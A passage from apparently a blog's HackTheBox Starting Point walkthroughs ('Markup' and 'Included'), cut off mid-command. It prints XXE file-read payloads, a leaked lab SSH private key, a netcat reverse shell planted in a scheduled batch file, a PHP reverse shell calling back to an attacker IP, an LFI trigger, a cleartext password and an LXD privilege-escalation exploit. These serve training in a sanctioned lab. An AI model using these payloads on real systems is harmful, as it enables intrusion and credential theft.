attempt to leak the target\u0026rsquo;s hosts file. This is the original XML document.\n\u0026lt;!-- original --\u0026gt; \u0026lt;?xml version = \u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;order\u0026gt; \u0026lt;quantity\u0026gt;1\u0026lt;/quantity\u0026gt; \u0026lt;item\u0026gt;Home Appliances\u0026lt;/item\u0026gt; \u0026lt;address\u0026gt;testaddress\u0026lt;/address\u0026gt; \u0026lt;/order\u0026gt; Listing 7 - Original XML document Adjusting it \u0026ndash; given that our target runs a Windows system \u0026ndash; we have three different XXE payloads with varying data values to test:\nModified XXE payload \u0026ndash; quantity data value.\n\u0026lt;?xml version = \u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///c:/windows/system32/drivers/etc/hosts\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;order\u0026gt; \u0026lt;quantity\u0026gt;\u0026amp;xxe;\u0026lt;/quantity\u0026gt; \u0026lt;item\u0026gt;Home Appliances\u0026lt;/item\u0026gt; \u0026lt;address\u0026gt;testaddress\u0026lt;/address\u0026gt; \u0026lt;/order\u0026gt; Listing 8 - Using the quantity data value for the XXE payload Modified XXE payload \u0026ndash; item data value.\n\u0026lt;?xml version = \u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///c:/windows/system32/drivers/etc/hosts\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;order\u0026gt; \u0026lt;quantity\u0026gt;1\u0026lt;/quantity\u0026gt; \u0026lt;item\u0026gt;\u0026amp;xxe;\u0026lt;/item\u0026gt; \u0026lt;address\u0026gt;testaddress\u0026lt;/address\u0026gt; \u0026lt;/order\u0026gt; Listing 9 - Using the item data value for the XXE payload Modified XXE payload \u0026ndash; address data value.\n\u0026lt;?xml version = \u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///c:/windows/system32/drivers/etc/hosts\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;order\u0026gt; \u0026lt;quantity\u0026gt;1\u0026lt;/quantity\u0026gt; \u0026lt;item\u0026gt;Home Appliances\u0026lt;/item\u0026gt; \u0026lt;address\u0026gt;\u0026amp;xxe;\u0026lt;/address\u0026gt; \u0026lt;/order\u0026gt; Listing 10 - Using the address data value for the XXE payload Testing the quantity data value proves unsuccessful.\nFigure 6: Experimenting with different data values\nUsing the item data value appears to work, and we successfully leak the target\u0026rsquo;s hosts file.\nFigure 7: Successful XXE exploitation\nNow that we can leak and read information from our target, our next course of action is to search for authentication information that we might leverage to establish a better connection to the target.\nSynthesizing our findings:\nSSH service runs on port 22 \u0026ndash; knowledge from Task-1. Potential user daniel \u0026ndash; knowledge from Task-6. One potential attack path involves leaking the aforementioned user\u0026rsquo;s private SSH key. Research reveals the following potential path: C:\\Users\\\u0026lt;username\u0026gt;\\.ssh\\id_rsa.\nWith the adjusted XXE payload,\n\u0026lt;?xml version = \u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///c:/users/daniel/.ssh/id_rsa\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;order\u0026gt; \u0026lt;quantity\u0026gt;1\u0026lt;/quantity\u0026gt; \u0026lt;item\u0026gt;\u0026amp;xxe;\u0026lt;/item\u0026gt; \u0026lt;address\u0026gt;testaddress\u0026lt;/address\u0026gt; \u0026lt;/order\u0026gt; Listing 11 - Adjusted XXE payload to leak the user's private SSH key Figure 8: Adjusted XXE payload to leak private SSH key\nwe successfully leak daniel\u0026rsquo;s private SSH key.\nFigure 9: Leaked private SSH key\nThis is daniel\u0026rsquo;s private SSH key:\n-----BEGIN OPENSSH PRIVATE KEY-----\n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\n-----END OPENSSH PRIVATE KEY----- Listing 12 - The user's private SSH key Next, we prepare the key for the SSH connection.\nuser@kali:~$ vim id_rsa user@kali:~$ ll ... -rw-r--r-- 1 user user 2.6K ... id_rsa user@kali:~$ chmod 600 id_rsa user@kali:~$ ll ... -rw------- 1 user user 2.6K ... id_rsa user@kali:~$ Listing 13 - Saving the leaked private SSH key Connecting to our target with ssh -i id_rsa daniel@$rhost results in us obtaining the user flag.\nMicrosoft Windows [Version ...] ... daniel@MARKUP C:\\Users\\daniel\u003ewhoami markup\\daniel ... daniel@MARKUP C:\\Users\\daniel\u003edir ... ... \u0026lt;DIR\u0026gt; .ssh ... \u0026lt;DIR\u0026gt; Desktop ... daniel@MARKUP C:\\Users\\daniel\u003ecd Desktop ... daniel@MARKUP C:\\Users\\daniel\\Desktop\u003edir ... ... 35 user.txt ... daniel@MARKUP C:\\Users\\daniel\\Desktop\u003etype user.txt \u0026lt;redacted-flag\u0026gt; ... daniel@MARKUP C:\\Users\\daniel\\Desktop\u003e Listing 14 - Acquiring the user flag Exploring further, we notice the job.bat file.\ndaniel@MARKUP C:\\Users\\daniel\\Desktop\u003ecd .. ... daniel@MARKUP C:\\Users\\daniel\u003ecd .. ... daniel@MARKUP C:\\Users\u003ecd .. daniel@MARKUP C:\\\u003edir ... ... \u0026lt;DIR\u0026gt; Log-Management ... ... 0 Recovery.txt ... daniel@MARKUP C:\\\u003etype Recovery.txt ... daniel@MARKUP C:\\\u003ecd Log-Management ... daniel@MARKUP C:\\Log-Management\u003edir ... ... 346 job.bat ... daniel@MARKUP C:\\Log-Management\u003e Listing 15 - Enumerating the target system with user privileges Task-8 Question: What executable is mentioned in the file mentioned before?\nwevtutil.exe\nWe examine the file contents with type job.bat.\n@echo off FOR /F \u0026#34;tokens=1,2*\u0026#34; %%V IN (\u0026#39;bcdedit\u0026#39;) DO SET adminTest=%%V IF (%adminTest%)==(Access) goto noAdmin for /F \u0026#34;tokens=*\u0026#34; %%G in (\u0026#39;wevtutil.exe el\u0026#39;) DO (call :do_clear \u0026#34;%%G\u0026#34;) echo. echo Event Logs have been cleared! goto theEnd :do_clear wevtutil.exe cl %1 goto :eof :noAdmin echo You must run this script as an Administrator! :theEnd exit Listing 16 - The 'job.bat' file Looking up wevtutil, we find the following:\n\u0026hellip;\nEnables you to retrieve information about event logs and publishers. You can also use this command to install and uninstall event manifests, to run queries, and to export, archive, and clear logs.\n\u0026hellip;\nListing 17 - Snippet from the wevtutil documentation Examining the parameters reveals the following:\nel or enum-logs: Displays the names of all logs. cl or clear-log \u0026lt;logname\u0026gt;: Clears events from the specified event log. bu \u0026lt;backup\u0026gt;: Clears events from the specified event log and can be used to back up the cleared events. In summary, running the script with Administrator privileges clears certain event logs. But what of its permissions? We use icacls to display its access control list.\ndaniel@MARKUP C:\\Log-Management\u003eicacls job.bat job.bat BUILTIN\\Users:(F) NT AUTHORITY\\SYSTEM:(I)(F) BUILTIN\\Administrators:(I)(F) BUILTIN\\Users:(I)(RX) ... daniel@MARKUP C:\\Log-Management\u003e Listing 18 - Permissions on the job.bat file The (F) at the top stands for Full access, which grants us permission to modify the file as we see fit.\nSubmit The User Flag Question: Submit user flag.\n\u0026lt;redacted-flag\u0026gt;\nIt was already acquired during Task-7.\nSubmit The Root Flag Question: Submit root flag.\n\u0026lt;redacted-flag\u0026gt;\nOur strategy for obtaining the root flag involves leveraging our Full access privileges on the job.bat file to run a privileged reverse shell connecting back to our pwnbox.\nThe prerequisite, of course, is that job.bat is already scheduled to run periodically with Administrator privileges.\nBreaking it down:\nStep-1: Copying a Netcat binary to our target \u0026ndash; from pwnbox, since our target is not connected to the Internet.\nStep-2: Starting a Netcat listener on the attacking machine.\nStep-3: Overwriting job.bat to run a reverse shell.\nStep-4: Waiting for the reverse shell to connect back (on the pwnbox).\nWe proceed as follows.\nStep-1: We download the Netcat binary to the attackbox.\nuser@kali:~$ wget https://github.com/int0x33/nc.exe/raw/master/nc64.exe ... Saving to: ‘nc64.exe’ ... user@kali:~$ Listing 19 - Procuring the 64-bit Netcat binary for Windows Then we host it using Python\u0026rsquo;s http.server module:\nuser@kali:~$ ll ... -rw------- 1 user user 2.6K ... id_rsa -rw-r--r-- 1 user user 45K ... nc64.exe user@kali:~$ python -m http.server 4444 Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ... Listing 20 - Serving up the Windows Netcat binary and use wget in PowerShell on our target to download it.\ndaniel@MARKUP C:\\Log-Management\u003epowershell ... PS C:\\Log-Management\u003e wget http://10.10.14.75:4444/nc64.exe -OutFile nc64.exe PS C:\\Log-Management\u003e ls ... Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- ... 346 job.bat -a---- ... 45272 nc64.exe ... PS C:\\Log-Management\u003e Listing 21 - Transferring the Windows Netcat binary to the target Step-2: Running the Netcat listener on the attackbox.\nuser@kali:~$ nc -lvnp 4444 ... Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Listing 22 - Running the netcat listener Step-3: Overwriting the job.bat file on the target.\ndaniel@MARKUP C:\\Log-Management\u003edir ... ... 346 job.bat ... 45,272 nc64.exe ... daniel@MARKUP C:\\Log-Management\u003eecho C:\\Log-Management\\nc64.exe -e cmd.exe 10.10.14.75 4444 \u003e job.bat ... daniel@MARKUP C:\\Log-Management\u003etype job.bat C:\\Log-Management\\nc64.exe -e cmd.exe 10.10.14.75 4444 ... daniel@MARKUP C:\\Log-Management\u003e Listing 23 - Overwriting the job.bat file Step-4: Waiting for the privileged reverse shell on the attackbox.\nuser@kali:~$ nc -lvnp 4444 ... Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.129.113.61. Ncat: Connection from 10.129.113.61:49675. Microsoft Windows... ... C:\\Windows\\system32\u003e Listing 24 - Catching the privileged reverse shell connection Since we have a privileged shell running, we complete the task by retrieving the root flag.\nC:\\Windows\\system32\u003ecd C:\\Users\\Administrator\\Desktop\\ ... C:\\Users\\Administrator\\Desktop\u003edir ... ... 70 root.txt ... C:\\Users\\Administrator\\Desktop\u003etype root.txt ... \u0026lt;redacted.flag\u0026gt; ... C:\\Users\\Administrator\\Desktop\u003e Listing 25 - Acquiring the root flag Congratulations on successfully completing the challenge. All that remains is to terminate the target box \u0026ndash; if not terminated automatically \u0026ndash; before proceeding to the next challenge!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-2/markup/","summary":"HackTheBox | Starting Point | Tier 2 | Markup","title":"Markup"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 2\nMachine: Included\nReleased: 25/10/2021 MACHINE SYNOPSIS\nIncluded is a very easy Linux machine that features exploiting TFTP, a vulnerable web application and the LXD group. Initial enumeration reveals a web server vulnerable to Local File Inclusion (LFI) which can be leveraged to access a TFTP server and upload a PHP reverse shell for initial access. Credentials can then be extracted from web configuration files to pivot to a higher-privileged user. Finally, privilege escalation can be achieved by leveraging the privileges of the LXD group to mount the host filesystem with elevated privileges in order to get full access to the filesystem.\nPreparations There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.\nOnce our connection is taken care of, we spawn the target machine.\nAdditionally \u0026ndash; even though not required \u0026ndash; it is possible to set a local variable (only available in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we can easily access it by prepending a $ to our variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We could use the unset command to remove it after we no longer need it.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: What service is running on the target machine over UDP?\ntftp\nOur reconnaissance phase starts with a quick connection check:\nuser@kali:~$ ping $rhost -c 4 ... 4 packets transmitted, 4 received, 0% packet loss, time 3005ms ... user@kali:~$ Listing 3 - Connection check This is followed by the usual \u0026ndash; version, script, and top 1000 TCP ports \u0026ndash; Nmap scan.\nuser@kali:~$ nmap -sC -sV $rhost ... PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) ... |_Requested resource was http://10.129.112.221/?file=home.php ... user@kali:~$ Listing 4 - Version detection and default script scanning It appears our target is running a web server on port 80. Let us get a fingerprint on the website.\nuser@kali:~$ whatweb $rhost http://10.129.112.221 [302 ..., RedirectLocation[http://10.129.112.221/index.php?file=home.php] http://10.129.112.221/index.php?file=home.php [301 Moved Permanently] ..., RedirectLocation[http://10.129.112.221/?file=home.php]...] http://10.129.112.221/?file=home.php [200 OK] ... user@kali:~$ Listing 5 - WhatWeb fingerprinting Interestingly enough, there are two redirections in place:\n0 - http://$rhost - landing page\n1 - http://$rhost/index.php?file=home.php - first redirect\n2 - http://$rhost/?file=home.php - second redirect\nListing 6 - Multiple automatic redirections These URLs seem quite dangerous with that file parameter, but we will leave that for later. For now, since the question mentions UDP ports, let us scan those as well.\nNote that scanning UDP ports on the target requires not only root privileges but may also take a while.\nuser@kali:~$ sudo nmap -sU --min-rate 5000 -p- $rhost ... PORT STATE SERVICE 39623/udp open unknown 47052/udp open unknown 54212/udp open unknown 54319/udp open unknown 55618/udp open unknown 57357/udp open unknown 57647/udp open unknown 58096/udp open unknown 60359/udp open unknown 60980/udp open unknown ... user@kali:~$ Listing 7 - Scanning all UDP ports That is not too encouraging; quite a few ports are reported open. How about sticking only to the most common ports?\nuser@kali:~$ sudo nmap -sU $rhost ... Not shown: 998 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc 69/udp open|filtered tftp ... user@kali:~$ Listing 8 - Focusing only on the top 1000 open UDP ports That is much better. But what exactly are these two services? After quick research, this is the information we obtain:\n- DHCPC service, port 68: Probably a DHCP client\n- TFTP service, port 69: Trivial File Transfer Protocol (FTP); requires no user authentication)\nListing 9 - Mapping open ports to services That second part looks extremely promising. Let us check it out. Only, how exactly can we do that?\nA quick online search lands us the tftp-enum script, which is available for Nmap. The documentation mentions that it is only a reimplementation of the tftptheft tool, and by following the provided link we can download a wordlist containing the most commonly used filenames found on a TFTP share.\nuser@kali:~$ wget https://raw.githubusercontent.com/EnableSecurity/tftptheft/master/data/tftplist.txt ... Saving to: 'tftplist.txt' ... user@kali:~$ ll ... -rw-r--r-- 1 user user 1.4K ... tftplist.txt user@kali:~$ Listing 10 - Downloading a TFTP-focused wordlist for enumeration Sadly, the enumeration does not find anything interesting \u0026ndash; be it because the share is empty or because file discovery is blocked. We do not know.\nuser@kali:~$ sudo nmap -sU -p 69 --script tftp-enum.nse --script-args tftp-enum.filelist=tftplist.txt $rhost ... PORT STATE SERVICE 69/udp open tftp ... user@kali:~$ Listing 11 - No actionable results during enumeration Since that was a bust, let us try something else. A quick online search steers us toward a tool named tftp. Since it does not come preinstalled on the pwnbox, we will have to install it ourselves.\nuser@kali:~$ apropos tftp tftp: nothing appropriate. user@kali:~$ sudo apt install tftp ... The following NEW packages will be installed: tftp ... Launchers are updated user@kali:~$ Listing 12 - Installing tftp Once installed, we refer to its man page \u0026ndash; displayed with man tftp \u0026ndash; for further information about its usage. Simply connecting to our target does not reveal anything interesting.\nuser@kali:~$ tftp $rhost tftp\u003e status Connected to 10.129.112.221. ... tftp\u003e ^C tftp\u003e user@kali:~$ Listing 13 - Establishing connection via TFTP Coupled with the fact that there is no trivial way to simply dump the file list via tftp, we will probably have to resort to its unauthenticated file upload function.\nAs for the answer, since we are restricted to a four-character-long string, we have a clear winner with TFTP.\nTask-2 Question: What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?\nlocal file inclusion\nIt is time to check out the webpage that our target is hosting.\nOnce we fire up our browser, we are automatically redirected to http://$rhost/?file=home.php. Exploring the site, we notice that all the links point back to the same landing page.\nFigure 1: Redirected website\nUsing the Wappalyzer Firefox extension, we collect the following information:\n- Front scripts: Google Font API\n- Web servers: Apache HTTP Server - 2.4.29\n- Programming languages: PHP\n- Operating systems: Ubuntu\nListing 14 - Fingerprinting the technology stack with Wappalyzer This may be of interest later on. For now, it is time to return to the dangerous URL parameter that we are served.\nSearching for something like \u0026lsquo;file= vulnerability\u0026rsquo; lands us the clear answer. But is it really vulnerable?\nOne of the typical proof-of-concept ways to test it is to try and load the passwd file with the ../../../../etc/passwd path. Note that this file should be accessible to all users on the system.\nAccessing the endpoint using our browser provides us with the passwd file; therefore, our target is indeed vulnerable to LFI.\nFigure 2: Testing for LFI vulnerability\nTask-3 Question: What is the default system folder that TFTP uses to store files?\n/var/lib/tftpboot/\nBuilding on the information obtained in Task-1 and Task-2, our idea is to use TFTP to upload a PHP reverse shell and then use the file URL parameter to execute it.\nBut for that, we need to know exactly where our files will end up once we upload them via tftp. A quick internet search rewards us with the default root directory path: /var/lib/tftpboot.\nLet us try and enumerate that directory.\nuser@kali:~$ gobuster dir -u http://$rhost/?file=/var/lib/tftpboot/ -w /opt/useful/SecLists/Discovery/Web-Content/tftp.fuzz.txt --exclude-length 0 ... ... user@kali:~$ Listing 15 - Enumerating the default root directory is a bust No luck with the tftp.fuzz.txt wordlist. Let us try the common one: /usr/share/wordlists/dirb/common.txt.\nuser@kali:~$ gobuster dir -u http://$rhost/?file=/var/lib/tftpboot/ -w /usr/share/wordlists/dirb/common.txt --exclude-length 0 ... /Documents and Settings (Status: 400) [Size: 301] /Program Files (Status: 400) [Size: 301] /reports list (Status: 400) [Size: 301] ... user@kali:~$ Listing 16 - Experimenting with different wordlists for enumeration Again, no luck this time. We move on.\nTask-4 Question: Which interesting file is located in the web server folder and can be used for Lateral Movement?\n.htpasswd\nNow it is finally time to get that PHP reverse shell going. We grab one of the most commonly used ones and modify it to fit our needs.\nuser@kali:~$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php ... Saving to: 'php-reverse-shell.php' ... user@kali:~$ vim php-reverse-shell.php user@kali:~$ mv php-reverse-shell.php revshell.php Listing 17 - PHP reverse shell download and modification We adjust lines 49 and 50 accordingly.\n# original\n\u0026hellip;\n$ip = \u0026lsquo;127.0.0.1\u0026rsquo;; // CHANGE THIS\n$port = 1234; // CHANGE THIS\n\u0026hellip;\nListing 18 - Original configuration for the PHP reverse shell # modified\n\u0026hellip;\n$ip = \u0026lsquo;10.10.14.75\u0026rsquo;; // local host\n$port = 4444; // arbitrary port\n\u0026hellip;\nListing 19 - Modified configuration for the PHP reverse shell Once uploaded,\nuser@kali:~$ tftp $rhost tftp\u003e put revshell.php ... tftp\u003e ^C tftp\u003e user@kali:~$ Listing 20 - Uploading the PHP reverse shell via TFTP and with a Netcat listener started in another terminal,\nuser@kali:~$ nc -lvnp 4444 ... Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Listing 21 - Starting a Netcat listener all that is left to do is to access it (trigger it) so that our target runs it. We can do this by simply loading our script in our browser with http://$rhost/?file=/var/lib/tftpboot/revshell.php.\nFigure 3: Triggering the uploaded PHP reverse shell\nHeading over to our Netcat listener, we are welcomed with shell access and the privileges of the www-data user.\nuser@kali:~$ nc -lvnp 4444 ... Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.129.112.221. Ncat: Connection from 10.129.112.221:56704. Linux included 4.15.0-151-generic ... ... uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off Listing 22 - Catching the reverse shell connection Since this shell connection is quite unstable, we first stabilize it.\n$ which python $ which python3 /usr/bin/python3 $ python3 -c 'import pty; pty.spawn(\"/bin/bash\")' www-data@included:/$ export TERM=xterm export TERM=xterm www-data@included:/$ ^Z [1]+ Stopped nc -lvnp 4444 user@kali:~$ stty raw -echo; fg nc -lvnp 4444 www-data@included:/$ Listing 23 - Stabilizing the shell connection Looking around a bit, we realize that we do not have permission to view the user flag.\nwww-data@included:/$ pwd / www-data@included:/$ ls -hla ... drwxr-xr-x 3 root root 4.0K ... home ... drwx------ 7 root root 4.0K ... root ... www-data@included:/$ cd home/ www-data@included:/home$ ls -hla ... drwxr-xr-x 6 mike mike 4.0K ... mike www-data@included:/home$ cd mike/ www-data@included:/home/mike$ ls -hlag ... -r-------- 1 mike 33 ... user.txt www-data@included:/home/mike$ Listing 24 - Initial enumeration on the target as low-privileged user Therefore, we need to upgrade our privileges. Taking a quick look at the web server\u0026rsquo;s installation directory can sometimes lead to lateral movement opportunities, considering that quite often the source files found there are prone to leak some cleartext credentials.\nwww-data@included:/var/www/html$ ls -hlag ... -rw-r--r-- 1 www-data 212 ... .htaccess -rw-r--r-- 1 www-data 17 ... .htpasswd -rw-r--r-- 1 www-data 14K ... default.css drwxr-xr-x 2 www-data 4.0K ... fonts -rw-r--r-- 1 www-data 20K ... fonts.css -rw-r--r-- 1 www-data 3.7K ... home.php drwxr-xr-x 2 www-data 4.0K ... images -rw-r--r-- 1 www-data 145 ... index.php -rw-r--r-- 1 www-data 17K ... license.txt www-data@included:/var/www/html$ Listing 25 - Enumerating the source files in the web server's installation directory We are lucky. The .htpasswd file, which is used to store usernames and passwords for basic HTTP authentication, contains a password for the mike user.\nwww-data@included:/var/www/html$ cat .htpasswd mike:Sheffield19 www-data@included:/var/www/html$ Listing 26 - Cleartext credentials in the .htpasswd file Since password reuse is a common thing, we try the same password on the system.\nwww-data@included:/var/www/html$ su mike Password: mike@included:/var/www/html$ Listing 27 - Pivoting to a higher-privileged user Great, it worked!\nTask-5 Question: What is the group that user Mike is a part of and can be exploited for Privilege Escalation?\nlxd\nFirst we list all the groups that mike is a member of. There are only two: mike and lxd.\nmike@included:/var/www/html$ groups mike lxd mike@included:/var/www/html$ id uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd) mike@included:/var/www/html$ Listing 28 - Enumerating the user's groups A quick online search reveals LXD as a next-generation system container and virtual machine manager. That looks promising.\nBefore we continue with exploiting LXD, we make sure to retrieve the user flag.\nmike@included:/var/www/html$ cat /home/mike/user.txt \u0026lt;redacted-flag\u0026gt; mike@included:/var/www/html$ Listing 29 - Acquiring the user flag Task-6 Question: When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?\nalpine\nThis time we rely on the Exploit Database for finding the exploit. We take it and store it in our working directory.\nuser@kali:~$ searchsploit lxd -------------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------------- --------------------------------- Ubuntu 18.04 - 'lxd' Privilege Escalation | linux/local/46978.sh -------------------------------------------------------------- --------------------------------- Shellcodes: No Results user@kali:~$ cp /usr/share/exploitdb/exploits/linux/local/46978.sh . user@kali:~$ mv 46978.sh lxdprivesc.sh Listing 30 - Looking for LXD exploits with 'searchsploit' Opening it, we are welcomed with clear instructions; following them should help us elevate our privileges to root.\nuser@kali:~$ cat lxdprivesc.sh #!/usr/bin/env bash ... # Step 1: Download build-alpine =\u003e wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine] # Step 2: Build alpine =\u003e bash build-alpine (as root user) [Attacker Machine] # Step 3: Run this script and you will get root [Victim Machine] # Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine ... function helpPanel(){ ... user@kali:~$ Listing 31 - Privilege escalation exploit outlining clear steps for the attack All that is left for us now is to simply follow the steps.\nStep-1: Download build-alpine. (attackbox)\nuser@kali:~$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine ... Saving to: 'build-alpine' ... user@kali:~$ Listing 32 - Downloading the LXD alpine builder Step-2: Build alpine. (attackbox)\nuser@kali:~$ chmod a+x build-alpine user@kali:~$ sudo ./build-alpine ... Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.18/main/x86_64 Downloading alpine-keys-2.4-r1.apk ... Downloading apk-tools-static-2.14.0-r2.apk ... alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub: OK Verified OK ... Saving to: '/home/user/included/rootfs/usr/share/alpine-mirrors/MIRRORS.txt' ... OK: 10 MiB in 25 packages user@kali:~$ ll ... -rw-r--r-- 1 root root 3.6M ... alpine-v3.18-x86_64-..._1753.tar.gz -rwxr-xr-x 1 user user 7.9K ... build-alpine -rwxr-xr-x 1 user user 1.5K ... lxdprivesc.sh -rw-r--r-- 1 user user 5.4K ... revshell.php user@kali:~$ mv alpine-v3.18-x86_64-...tar.gz alpinebuild.tar.gz Listing 33 - Building alpine Step-3: Run this script and you will get root. (targetbox)\nFirst, we will need to move the generated alpine file and the script over to our target. One way to achieve this is to use the http.server Python module.\nIt is important to start the HTTP server in the same directory where the two files are located.\nuser@kali:~$ python -m http.server 8888 Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ... Listing 34 - Hosting a Python HTTP server Then we use wget on our target to download these same files.\nmike@included:/var/www/html$ cd /tmp/ mike@included:/tmp$ wget http://10.10.14.75:8888/alpinebuild.tar.gz ... Saving to: 'alpinebuild.tar.gz' ... mike@included:/tmp$ wget 